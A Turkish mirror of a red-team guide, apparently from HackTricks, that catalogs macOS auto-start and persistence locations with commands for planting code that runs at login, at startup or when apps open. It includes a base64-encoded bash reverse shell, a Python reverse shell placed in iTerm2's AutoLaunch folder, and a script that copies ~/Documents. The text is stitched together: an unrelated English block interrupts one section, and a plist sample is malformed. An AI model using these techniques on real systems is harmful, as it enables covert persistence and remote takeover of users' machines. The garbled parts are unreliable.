71 KiB
macOS Otomatik Başlatma
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Bu bölüm, Beyond the good ol' LaunchAgents blog serisine dayanmaktadır, amacı daha fazla Otomatik Başlatma Konumu eklemek (mümkünse), günümüzdeki macOS'ın en son sürümüyle (13.4) hala çalışan teknikleri belirtmek ve gerekli olan izinleri belirtmektir.
Kum Havuzu Atlatma
{% hint style="success" %} Burada, kum havuzu atlatma için yararlı olan başlatma konumlarını bulabilirsiniz, bu size bir dosyaya yazarak ve çok yaygın bir eylemi, belirlenmiş bir zaman miktarını veya genellikle bir kum havuzundan kök izinlere ihtiyaç duymadan gerçekleştirebileceğiniz bir eylemi bekleyerek basitçe yürütmenizi sağlar. {% endhint %}
Launchd
Konumlar
/Library/LaunchAgents
- Tetikleyici: Yeniden başlatma
- Kök gereklidir
/Library/LaunchDaemons
- Tetikleyici: Yeniden başlatma
- Kök gereklidir
/System/Library/LaunchAgents
- Tetikleyici: Yeniden başlatma
- Kök gereklidir
/System/Library/LaunchDaemons
- Tetikleyici: Yeniden başlatma
- Kök gereklidir
~/Library/LaunchAgents
- Tetikleyici: Yeniden oturum açma
~/Library/LaunchDemons
- Tetikleyici: Yeniden oturum açma
Açıklama ve Sömürü
launchd
, OX S çekirdeği tarafından başlangıçta yürütülen ilk işlem ve kapanırken sonuncusudur. Her zaman PID 1'e sahip olmalıdır. Bu işlem, ASEP plistlerinde belirtilen yapılandırmaları okuyup yürütür:
/Library/LaunchAgents
: Yönetici tarafından yüklenen kullanıcı başına ajanlar/Library/LaunchDaemons
: Yönetici tarafından yüklenen sistem genelinde hizmetler/System/Library/LaunchAgents
: Apple tarafından sağlanan kullanıcı başına ajanlar./System/Library/LaunchDaemons
: Apple tarafından sağlanan sistem genelinde hizmetler.
Bir kullanıcı oturum açtığında, /Users/$USER/Library/LaunchAgents
ve /Users/$USER/Library/LaunchDemons
konumlarındaki plist'ler oturum açan kullanıcı izinleriyle başlatılır.
Ajanlar ve hizmetler arasındaki temel fark, ajanların kullanıcı oturum açtığında yüklenmesi ve hizmetlerin sistem başlatıldığında yüklenmesidir (çünkü ssh gibi hizmetlerin, herhangi bir kullanıcının sisteme erişmeden önce yürütülmesi gerekmektedir). Ayrıca ajanlar GUI kullanabilirken, hizmetler arka planda çalışmalıdır.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>
Bazı durumlarda, kullanıcı oturum açmadan önce bir ajanın çalıştırılması gerekebilir, bunlara PreLoginAgents denir. Örneğin, bu, oturum açma sırasında destekleyici teknoloji sağlamak için kullanışlıdır. Bunlar ayrıca /Library/LaunchAgents
dizininde bulunabilir (bir örnek için buraya bakın).
{% hint style="info" %}
Yeni Daemon'lar veya Ajanlar yapılandırma dosyaları, bir sonraki yeniden başlatmadan sonra veya launchctl load <hedef.plist>
kullanılarak yüklenecektir. .plist
uzantısız dosyaları da launchctl -F <dosya>
ile yüklemek mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatma sonrası yüklenmeyecektir).
launchctl unload <hedef.plist>
ile yüklemenin mümkün olduğu da unutulmamalıdır (bu işaret ettiği işlem sonlandırılacaktır).
Bir Ajanın veya Daemonun çalışmasını engelleyen bir geçersiz kılma gibi herhangi bir şeyin olmadığından emin olmak için şunu çalıştırın: sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist
{% endhint %}
Mevcut kullanıcı tarafından yüklenen tüm ajanları ve daemonları listele:
launchctl list
{% hint style="warning" %} Eğer bir plist dosyası bir kullanıcıya aitse, hatta daemon sistem genelindeki klasörlerde olsa bile, görev kullanıcı olarak ve kök olarak değil çalıştırılacaktır. Bu bazı ayrıcalık yükseltme saldırılarını engelleyebilir. {% endhint %}
kabuk başlangıç dosyaları
Açıklama: https://theevilbit.github.io/beyond/beyond_0001/
Açıklama (xterm): https://theevilbit.github.io/beyond/beyond_0018/
- Kum havuzunu atlamak için kullanışlı: ✅
- TCC Atlatma: ✅
- Ancak bu dosyaları yükleyen bir kabuk çalıştıran TCC atlatması olan bir uygulama bulmanız gerekmektedir
Konumlar
~/.zshrc
,~/.zlogin
,~/.zshenv.zwc
,~/.zshenv
,~/.zprofile
- Tetikleyici: zsh ile bir terminal aç
/etc/zshenv
,/etc/zprofile
,/etc/zshrc
,/etc/zlogin
- Tetikleyici: zsh ile bir terminal aç
- Kök gereklidir
~/.zlogout
- Tetikleyici: zsh ile bir terminalden çık
/etc/zlogout
- Tetikleyici: zsh ile bir terminalden çık
- Kök gereklidir
- Muhtemelen daha fazlası:
man zsh
~/.bashrc
- Tetikleyici: bash ile bir terminal aç
/etc/profile
(çalışmadı)~/.profile
(çalışmadı)~/.xinitrc
,~/.xserverrc
,/opt/X11/etc/X11/xinit/xinitrc.d/
- Tetikleyici: xterm ile tetiklenmesi beklenir, ancak kurulu değil ve hatta kurulduktan sonra bu hata alınır: xterm:
DISPLAY is not set
Açıklama ve Sömürü
zsh
veya bash
gibi bir kabuk ortamı başlatıldığında, belirli başlangıç dosyaları çalıştırılır. macOS şu anda varsayılan kabuk olarak /bin/zsh
kullanmaktadır. Bu kabuk, Terminal uygulaması başlatıldığında veya bir cihaz SSH üzerinden erişildiğinde otomatik olarak erişilir. bash
ve sh
de macOS'ta bulunmasına rağmen, kullanılmak için açıkça çağrılması gerekmektedir.
man zsh
ile okuyabileceğimiz zsh'in man sayfası, başlangıç dosyalarının uzun bir açıklamasına sahiptir.
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
Yeniden Açılan Uygulamalar
{% hint style="danger" %} Belirtilen açığı yapılandırmak ve oturumu kapatıp açmak veya hatta yeniden başlatmak, uygulamayı çalıştırmam için işe yaramadı. (Uygulama çalıştırılmıyordu, belki de bu eylemler gerçekleştirilirken uygulamanın çalışıyor olması gerekiyor) {% endhint %}
Açıklama: https://theevilbit.github.io/beyond/beyond_0021/
Konum
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
- Tetikleyici: Uygulamaları tekrar açma işlemi yeniden başlatılır
Açıklama ve Sömürü
Yeniden açılacak tüm uygulamalar, ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
plist dosyasının içindedir.
Bu nedenle, yeniden açılacak uygulamalar arasına kendi uygulamanızı eklemek için uygulamanızı listeye eklemeniz yeterlidir.
UUID, bu dizini listelerken veya ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'
komutu ile bulunabilir.
Yeniden açılacak uygulamaları kontrol etmek için şunu yapabilirsiniz:
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Bu listeye bir uygulama eklemek için şunları kullanabilirsiniz:
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Terminal Tercihleri
- Kum havuzunu atlamak için kullanışlı: ✅
- TCC atlatma: ✅
- Terminal, kullanıcının FDA izinlerine sahip olmasını gerektirir.
Konum
~/Library/Preferences/com.apple.Terminal.plist
- Tetikleyici: Terminalı Aç
Açıklama ve Sömürü
~/Library/Preferences
içerisinde, Kullanıcı Tercihleri Uygulamaların tercihlerini saklar. Bu tercihlerden bazıları, başka uygulamalar/skriptleri çalıştırmak için bir yapılandırma tutabilir.
Örneğin, Terminal Başlangıçta bir komutu çalıştırabilir:
![](/Mirrors/hacktricks/media/commit/19f4e55921d40579283c54dcc8541a69ec4c73ab/.gitbook/assets/image%20%281145%29.png)
Bu yapılandırma, ~/Library/Preferences/com.apple.Terminal.plist
dosyasında şu şekilde yansıtılır:
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
Yani, sistemdeki terminalin tercihlerinin plist'i üzerine yazılırsa, open
işlevi kullanılarak terminal açılabilir ve o komut çalıştırılabilir.
Bunu terminalden şu şekilde ekleyebilirsiniz:
{% code overflow="wrap" %}
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
{% endcode %}
Terminal Betikleri / Diğer dosya uzantıları
- Kum havuzunu atlamak için kullanışlı: ✅
- TCC atlatma: ✅
- Terminal, kullanıcının FDA izinlerine sahip olmasını gerektirir
Konum
- Herhangi bir yer
- Tetikleyici: Terminali Aç
Açıklama ve Sömürü
Eğer bir .terminal
betiği oluşturursanız ve açarsanız, Terminal uygulaması otomatik olarak çağrılacak ve içinde belirtilen komutları yürütmek için kullanılacaktır. Eğer Terminal uygulamasının özel izinleri varsa (örneğin TCC gibi), komutunuz bu özel izinlerle çalıştırılacaktır.
Denemek için:
# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
Otomatik Başlatma Konumları
Uzantıları .command
, .tool
kullanabilirsiniz, düzenli kabuk betik içeriği ile Terminal tarafından da açılacaklardır.
{% hint style="danger" %} Terminal'in Tam Disk Erişimi varsa o eylemi tamamlayabilecektir (çalıştırılan komutun bir terminal penceresinde görüneceğini unutmayın). {% endhint %}
Ses Eklentileri
Açıklama: https://theevilbit.github.io/beyond/beyond_0013/
Açıklama: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882
Konum
/Library/Audio/Plug-Ins/HAL
- Kök gereklidir
- Tetik: coreaudiod veya bilgisayarı yeniden başlatın
/Library/Audio/Plug-ins/Components
- Kök gereklidir
- Tetik: coreaudiod veya bilgisayarı yeniden başlatın
~/Library/Audio/Plug-ins/Components
- Tetik: coreaudiod veya bilgisayarı yeniden başlatın
/System/Library/Components
- Kök gereklidir
- Tetik: coreaudiod veya bilgisayarı yeniden başlatın
Açıklama
Önceki açıklamalara göre bazı ses eklentilerini derleyip yüklemek mümkündür.
QuickLook Eklentileri
Açıklama: https://theevilbit.github.io/beyond/beyond_0028/
Konum
/System/Library/QuickLook
/Library/QuickLook
~/Library/QuickLook
/Applications/AppNameHere/Contents/Library/QuickLook/
~/Applications/AppNameHere/Contents/Library/QuickLook/
Açıklama ve Sömürü
QuickLook eklentileri, bir dosyanın önizlemesini tetiklediğinizde (Finder'da seçili dosyayı seçerek boşluk çubuğuna basın) ve o dosya türünü destekleyen bir eklenti yüklendiğinde çalıştırılabilir.
Kendi QuickLook eklentinizi derleyip, onu yüklemek için önceki konumlardan birine yerleştirebilir ve ardından desteklenen bir dosyaya gidip tetiklemek için boşluk tuşuna basabilirsiniz.
Giriş/Çıkış Kancaları
{% hint style="danger" %} Bu benim için çalışmadı, ne kullanıcı GirişKancası ne de kök ÇıkışKancası ile {% endhint %}
Açıklama: https://theevilbit.github.io/beyond/beyond_0022/
Konum
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
gibi bir şeyi yürütebilmelisiniz~/Library/Preferences/com.apple.loginwindow.plist
konumunda bulunur
Kullanıcı oturum açtığında komutları yürütmek için kullanılan ancak artık kullanılmayan kancalar.
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
Bu ayar /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
dosyasında saklanır.
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
Silmek için:
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
Root kullanıcısı /private/var/root/Library/Preferences/com.apple.loginwindow.plist
içinde saklanır.
Koşullu Kum Sandığı Atlatma
{% hint style="success" %} Burada, kum sandığı atlatma için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size basitçe bir şeyi bir dosyaya yazarak ve belirli programlar yüklü, "sıradışı" kullanıcı eylemleri veya ortamlar gibi çok yaygın olmayan koşullar beklemek anlamına gelir. {% endhint %}
Cron
Açıklama: https://theevilbit.github.io/beyond/beyond_0004/
- Kum sandığını atlamak için yararlı: ✅
- Ancak,
crontab
ikilisini çalıştırabilmeniz gerekir - Veya root olmanız gerekir
- TCC atlatma: 🔴
Konum
/usr/lib/cron/tabs/
,/private/var/at/tabs
,/private/var/at/jobs
,/etc/periodic/
- Doğrudan yazma erişimi için root gereklidir.
crontab <dosya>
yı çalıştırabilirseniz root gerekmez - Tetikleyici: Cron işine bağlıdır
Açıklama ve Sömürü
Mevcut kullanıcının cron işlerini listelemek için:
crontab -l
MacOS'ta, kullanıcıların tüm cron işlerini /usr/lib/cron/tabs/
ve /var/at/tabs/
(root gerektirir) dizinlerinde görebilirsiniz.
MacOS'ta, belirli bir sıklıkla betikleri çalıştıran birkaç klasör bulunabilir:
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
Burada düzenli cron işleri, at işleri (pek kullanılmaz) ve periyodik işler (genellikle geçici dosyaları temizlemek için kullanılır) bulabilirsiniz. Günlük periyodik işler örneğin şu şekilde çalıştırılabilir: periodic daily
.
Kullanıcı cron işi programatik olarak eklemek için şu kullanılabilir:
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
iTerm2
Açıklama: https://theevilbit.github.io/beyond/beyond_0002/
- Kum havuzunu atlamak için kullanışlı: ✅
- TCC atlatma: ✅
- iTerm2, TCC izinlerine sahip olmayı kullanıyordu
Konumlar
~/Library/Application Support/iTerm2/Scripts/AutoLaunch
- Tetikleyici: iTerm açılınca
~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
- Tetikleyici: iTerm açılınca
~/Library/Preferences/com.googlecode.iterm2.plist
- Tetikleyici: iTerm açılınca
Açıklama ve Sömürü
~/Library/Application Support/iTerm2/Scripts/AutoLaunch
konumunda saklanan betikler çalıştırılacaktır. Örneğin:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
macOS Auto Start Locations
Launch Agents
Launch Agents are used to run processes when a user logs in. They are located in the following directories:
/Library/LaunchAgents
/System/Library/LaunchAgents
/Users/<username>/Library/LaunchAgents
Launch Daemons
Launch Daemons are used to run processes at system startup. They are located in the following directories:
/Library/LaunchDaemons
/System/Library/LaunchDaemons
Login Items
Login Items are applications that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items
.
Startup Items
Startup Items are legacy items that are launched at system startup. They are located in /Library/StartupItems
.
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
Betik ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
de yürütülecektir:
do shell script "touch /tmp/iterm2-autolaunchscpt"
~/Library/Preferences/com.googlecode.iterm2.plist
konumundaki iTerm2 tercihleri, iTerm2 terminali açıldığında çalıştırılacak bir komutu belirtebilir.
Bu ayar, iTerm2 ayarlarında yapılandırılabilir:
![](/Mirrors/hacktricks/media/commit/19f4e55921d40579283c54dcc8541a69ec4c73ab/.gitbook/assets/image%20%2834%29.png)
Ve komut tercihlere yansıtılır:
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
Komutun çalıştırılacağı yeri şu şekilde ayarlayabilirsiniz:
{% code overflow="wrap" %}
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
{% endcode %}
{% hint style="warning" %} İTerm2 tercihlerini kötüye kullanmak için başka yolların olması muhtemeldir. {% endhint %}
xbar
Açıklama: https://theevilbit.github.io/beyond/beyond_0007/
- Kum havuzunu atlamak için kullanışlı: ✅
- Ancak xbar yüklü olmalı
- TCC atlatma: ✅
- Erişilebilirlik izni istiyor
Konum
~/Library/Application\ Support/xbar/plugins/
- Tetikleyici: xbar çalıştırıldığında
Açıklama
Eğer popüler program xbar yüklü ise, ~/Library/Application\ Support/xbar/plugins/
dizininde bir kabuk betiği yazmak mümkündür ve bu betik xbar başlatıldığında çalıştırılacaktır:
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
Hammerspoon
Açıklama: https://theevilbit.github.io/beyond/beyond_0008/
- Kum havuzunu atlamak için faydalı: ✅
- Ancak Hammerspoon'un yüklü olması gerekir
- TCC atlatma: ✅
- Erişilebilirlik izinleri istiyor
Konum
~/.hammerspoon/init.lua
- Tetikleyici: Hammerspoon çalıştırıldığında
Açıklama
Hammerspoon, işlemleri için LUA betik dilini kullanan macOS için bir otomasyon platformu olarak hizmet verir. Özellikle, tam AppleScript kodunun entegrasyonunu destekler ve kabuk betiklerinin yürütülmesini sağlayarak betikleme yeteneklerini önemli ölçüde artırır.
Uygulama, tek bir dosya olan ~/.hammerspoon/init.lua
dosyasını arar ve betik başlatıldığında yürütülür.
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
BetterTouchTool
- Kullanışlıdır çünkü kum havuzunu atlar: ✅
- Ancak BetterTouchTool yüklü olmalıdır
- TCC atlatma: ✅
- Otomasyon-Kısayolları ve Erişilebilirlik izinleri istiyor
Konum
~/Library/Application Support/BetterTouchTool/*
Bu araç, bazı kısayollar basıldığında uygulamaları veya betikleri çalıştırmak için gösterge koymayı sağlar. Bir saldırgan, kendi kısayolunu ve eylemini veritabanında çalıştırmak için yapılandırabilir ve keyfi kodu çalıştırmasını sağlayabilir (bir kısayol sadece bir tuşa basmak olabilir).
Alfred
- Kullanışlıdır çünkü kum havuzunu atlar: ✅
- Ancak Alfred yüklü olmalıdır
- TCC atlatma: ✅
- Otomasyon, Erişilebilirlik ve hatta Tam Disk erişimi izinleri istiyor
Konum
???
Belirli koşullar karşılandığında kodu çalıştırabilen iş akışları oluşturmayı sağlar. Bir saldırganın bir iş akışı dosyası oluşturup Alfred'ın bunu yüklemesini sağlaması potansiyel olarak mümkündür (iş akışlarını kullanabilmek için premium sürümü satın almak gereklidir).
SSHRC
Açıklama: https://theevilbit.github.io/beyond/beyond_0006/
- Kullanışlıdır çünkü kum havuzunu atlar: ✅
- Ancak ssh etkinleştirilmiş ve kullanılmış olmalıdır
- TCC atlatma: ✅
- SSH'nin FDA erişimi olması gerekir
Konum
~/.ssh/rc
- Tetikleyici: ssh üzerinden oturum açma
/etc/ssh/sshrc
- Root gereklidir
- Tetikleyici: ssh üzerinden oturum açma
{% hint style="danger" %} SSH'yi açmak için Tam Disk Erişimi gereklidir:
sudo systemsetup -setremotelogin on
{% endhint %}
Açıklama ve Sömürü
Varsayılan olarak, /etc/ssh/sshd_config
dosyasında PermitUserRC no
belirtilmediği sürece, bir kullanıcı SSH üzerinden giriş yaptığında /etc/ssh/sshrc
ve ~/.ssh/rc
betikleri çalıştırılacaktır.
Giriş Öğeleri
Açıklama: https://theevilbit.github.io/beyond/beyond_0003/
- Kum havuzunu atlamak için kullanışlı: ✅
- Ancak
osascript
'i argümanlarla çalıştırmanız gerekmektedir - TCC atlatma: 🔴
Konumlar
~/Library/Application Support/com.apple.backgroundtaskmanagementagent
- Tetikleyici: Giriş
- Sömürü yükü,
osascript
'i çağırarak depolanmıştır /var/db/com.apple.xpc.launchd/loginitems.501.plist
- Tetikleyici: Giriş
- Root gereklidir
Açıklama
Sistem Tercihleri -> Kullanıcılar ve Gruplar -> Giriş Öğeleri'nde, kullanıcı oturum açtığında çalıştırılacak öğeleri bulabilirsiniz.
Onları komut satırından listelemek, eklemek ve kaldırmak mümkündür:
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
Bu öğeler, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
dosyasında saklanır.
Giriş öğeleri, yapılandırmayı /var/db/com.apple.xpc.launchd/loginitems.501.plist
konumunda saklayacak olan SMLoginItemSetEnabled API'si kullanılarak da belirtilebilir.
ZIP olarak Giriş Öğesi
(Giriş Öğeleri hakkında önceki bölüme bakın, bu bir uzantıdır)
Eğer bir ZIP dosyasını bir Giriş Öğesi olarak saklarsanız, Archive Utility
onu açacak ve örneğin ~/Library
konumunda saklanan ve içinde LaunchAgents/file.plist
adlı bir arka kapı bulunduran bir klasör varsa (varsayılan olarak yoktur), o klasör oluşturulacak ve plist eklenerek bir sonraki kullanıcı tekrar oturum açtığında, plist'te belirtilen arka kapı yürütülecektir.
Başka bir seçenek, .bash_profile
ve .zshenv
dosyalarını kullanıcı ANA DİZİN içine oluşturmaktır, böylece LaunchAgents klasörü zaten varsa bu teknik yine de çalışacaktır.
At
Açıklama: https://theevilbit.github.io/beyond/beyond_0014/
- Kum havuzu atlamak için kullanışlı: ✅
- Ancak
at
komutunu çalıştırmanız ve etkin olması gerekmektedir - TCC atlaması: 🔴
Konum
at
komutunu çalıştırmanız ve etkin olması gerekmektedir
Açıklama
at
görevleri, belirli zamanlarda yürütülmek üzere tek seferlik görevlerin zamanlamasını sağlamak için tasarlanmıştır. Cron işleri gibi, at
görevleri otomatik olarak yürütmeden sonra kaldırılır. Bu görevlerin sistem yeniden başlatmaları arasında kalıcı olduğunu unutmamak önemlidir, bu da onları belirli koşullar altında potansiyel güvenlik endişeleri olarak işaretler.
Varsayılan olarak devre dışı bırakılmışlardır ancak root kullanıcısı bunları aşağıdaki komutla etkinleştirebilir:
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
Bu, 1 saat içinde bir dosya oluşturacak:
echo "echo 11 > /tmp/at.txt" | at now+1
atq
komutunu kullanarak iş kuyruğunu kontrol edin:
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
Yukarıda iki zamanlanmış iş görebiliriz. İşi ayrıntılarıyla yazdırmak için at -c JOBNUMBER
kullanabiliriz.
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
{% hint style="warning" %} Eğer AT görevleri etkin değilse, oluşturulan görevler yürütülmeyecektir. {% endhint %}
İş dosyaları şurada bulunabilir: /private/var/at/jobs/
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
Dosya adı sırayı, iş numarasını ve çalıştırılacağı zamanı içerir. Örneğin a0001a019bdcd2
'ye bakalım.
a
- bu kuyruktur0001a
- onaltılık iş numarası,0x1a = 26
019bdcd2
- onaltılık zaman. Bu, epoch'tan bu yana geçen dakikaları temsil eder.0x019bdcd2
, ondalık olarak26991826
'dır. 60 ile çarptığımızda1619509560
elde ederiz, bu daGMT: 2021 Nisan 27, Salı 7:46:00
'yi temsil eder.
İş dosyasını yazdırırsak, at -c
kullanarak elde ettiğimiz bilgileri içerdiğini görürüz.
Klasör Eylemleri
Açıklama: https://theevilbit.github.io/beyond/beyond_0024/
Açıklama: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d
- Kumbarayı atlamak için kullanışlı: ✅
- Ancak, Klasör Eylemlerini yapılandırmak için
System Events
ile iletişim kurabilmek içinosascript
'ı argümanlarla çağırabilmeniz gerekir - TCC atlatma: 🟠
- Masaüstü, Belgeler ve İndirmeler gibi bazı temel TCC izinlerine sahiptir
Konum
/Library/Scripts/Folder Action Scripts
- Root gereklidir
- Tetikleyici: Belirtilen klasöre erişim
~/Library/Scripts/Folder Action Scripts
- Tetikleyici: Belirtilen klasöre erişim
Açıklama ve Sömürü
Klasör Eylemleri, bir klasördeki değişikliklerle otomatik olarak tetiklenen betiklerdir, örneğin öğeler eklemek, kaldırmak veya diğer eylemler yapmak veya klasör penceresini açmak veya yeniden boyutlandırmak gibi. Bu eylemler çeşitli görevler için kullanılabilir ve Finder UI veya terminal komutları kullanılarak tetiklenebilir.
Klasör Eylemleri kurmak için şu seçeneklere sahipsiniz:
- Automator ile bir Klasör Eylemi iş akışı oluşturup bir hizmet olarak yüklemek.
- Bir betiği manuel olarak bir klasörün bağlam menüsündeki Klasör Eylemleri Kurulumu aracılığıyla eklemek.
- Programatik olarak bir Klasör Eylemi kurmak için
System Events.app
'e Apple Olayı iletileri göndermek için OSAScript'i kullanmak.
- Bu yöntem, eylemi sisteme gömmek ve kalıcılık düzeyi sunmak için özellikle kullanışlıdır.
Aşağıdaki betik, bir Klasör Eylemi tarafından yürütülebilecek bir örnektir:
// source.js
